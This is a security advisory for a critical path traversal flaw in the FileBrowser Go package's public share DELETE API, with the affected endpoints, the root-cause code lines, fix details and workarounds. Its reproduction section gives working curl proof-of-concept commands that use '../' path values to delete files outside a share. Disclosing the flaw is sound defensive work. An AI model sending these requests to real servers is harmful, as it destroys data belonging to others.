FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File DeletionGHSA-fwj3-42wh-8673
CRITICALFix: gtsteffaniak/filebrowser@112740bGHSA-fwj3-42wh-8673 is a critical-severity (CVSS 9.1) Path Traversal vulnerability in github.com/gtsteffaniak/filebrowser. A fix is available for github.com/gtsteffaniak/filebrowser — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fwj3-42wh-8673.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/gtsteffaniak/filebrowserReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.
Affected Components
Two distinct vulnerable code paths:
- Stable versions (e.g., gtstef/filebrowser:stable)
DELETE /public/api/resources?hash=<hash>&path=../victimRoot cause: middleware.go:111 Issue: path query parameter is joined before SanitizeUserPath() - Development / HEAD (e.g., commit eabdfd9)
DELETE /public/api/resources/bulk?hash=<hash>Body: [{"path":"../victim"}] Root cause: resource.go:274 Issue: item.Path is joined before SanitizeUserPath()
Steps to reproduce (Stable Version)
1. Create a directory structure:
/folder/shared_subdir/ (shared)
/folder/protected.txt (outside shared directory)
2. Create a public share:
Path: /shared_subdir
AllowDelete=true
3. Send request:
curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt"
#Observe:
#protected.txt is deleted despite being outside the shared directory
Proof of Concept (HEAD / bulk endpoint)
curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" \
-H "Content-Type: application/json" \
-d '[{"path":"../protected.txt"}]'
Alternative PoC Scripts:
poc_v3.sh (If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.)
Impact
An unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gtsteffaniak/filebrowser | all versions | 0.0.0-20260501183844-112740bdd41dgo get github.com/gtsteffaniak/filebrowser@v0.0.0-20260501183844-112740bdd41d |
Affected Products
filebrowser quantumgtsteffaniakDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gtsteffaniak/filebrowser to 0.0.0-20260501183844-112740bdd41d or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fwj3-42wh-8673 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-fwj3-42wh-8673 in your dependencies?
Find it across Go, including transitive dependencies.